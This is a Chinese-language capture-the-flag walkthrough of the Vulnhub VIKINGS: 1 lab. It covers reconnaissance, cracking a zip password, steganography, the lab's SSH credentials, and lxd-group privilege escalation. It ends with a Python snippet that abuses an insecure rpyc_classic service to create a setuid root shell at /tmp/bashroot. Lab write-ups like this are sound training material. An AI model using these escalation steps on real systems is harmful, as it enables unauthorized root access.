1. 程式人生 > 其它 >Vulnhub 靶場 VIKINGS: 1

Vulnhub 靶場 VIKINGS: 1

前期準備:

靶機下載地址:https://www.vulnhub.com/entry/vikings-1,741/

kali攻擊機ip:192.168.11.129
靶機ip:192.168.11.185

一、資訊收集

1.使用nmap對目標靶機進行掃描

發現開放了22和80埠。

2. 80埠

訪問80埠:

檢查 site 目錄下的內容:

檢查了一下沒發現什麼,掃一下目錄:

發現有個 war.txt 檔案,檢視一下:

再訪問 /war-is-over :

應該是個檔案,下載下來 base64 解碼看看是個什麼:

發現是個zip壓縮包,解壓一下:

發現需要密碼,那就破解一下:

解得密碼: ragnarok123

,解壓後發現試一張圖片:

看下里面有沒有藏什麼檔案或者隱寫:

發現藏有一個壓縮包,壓縮包裡有個 user 檔案:

是一個賬戶: floki:f@m0usboatbuilde7,ssh登入。

二、漏洞利用

進入系統後查下許可權:

發現是 lxd 組裡的,可以在這裡提權。

一、第一種方法 - lxd 提權

檢視一下 lxd:

發現可以用,查詢一下了以利用的漏洞:

發現 46978.sh 檢視一下怎麼利用:

Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

[Attacker Machine]

Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]

我這裡下載不了 [email protected] ,說缺少檔案校驗和。沒辦法。後續按照步驟做就可以獲得 root 許可權

Step 3: Run this script and you will get root [Victim Machine]

Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine

第二種方法

在 floki 根目錄下還發現了些別的資訊:

readme.txt 中說的意思是找到 Ragner ,這應該是個使用者,但是不知道密碼。

boat 檔案中說的是 collatz-conjecture (考拉茲猜想),又稱為3n+1猜想等,是指對於每一個正整數,如果它是奇數,則對它乘3再加1,如果它是偶數,則對它除以2,如此迴圈,最終都能夠得到1。如n = 6,根據上述數式,得出 6→3→10→5→16→8→4→2→1。boat 中的意思是求第 29 個素數的 collatz-conjecture 結果,網上差的結果是 29th Prime Number = 109 。所以寫個小指令碼:

def collatz(x):
        result = [109]
        while x != 1:
                if x % 2 == 1:
                        x = (3 * x) + 1
                else:
                        x = (x / 2)
                if x <= 255:
                        result.append(int(x))
        return result

print(collatz(109))

Decimal 解碼得:mR)|>^/Gky[gz=.F#j5P(

https://gchq.github.io/CyberChef/ 這網站解碼功能很全,就是初次訪問的有點慢)

登入 Ragner 使用者:

寫個互動式 shell:

檢視一下檔案:

user.txt :

應該是一個 flag。在檢視下別的檔案:

發現 .profile 中在執行 rpyc,

這個還是 ragnar 使用者多出來的,那就監聽一下 tcp 連線:

發現在監聽 18812 埠,網上查了一下發現 rpyc_classic 是不安全的:

這裡將root許可權直接複製過來:

import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')

fn = conn.teleport(getshell)
fn()

執行 bashroot 並檢視flag: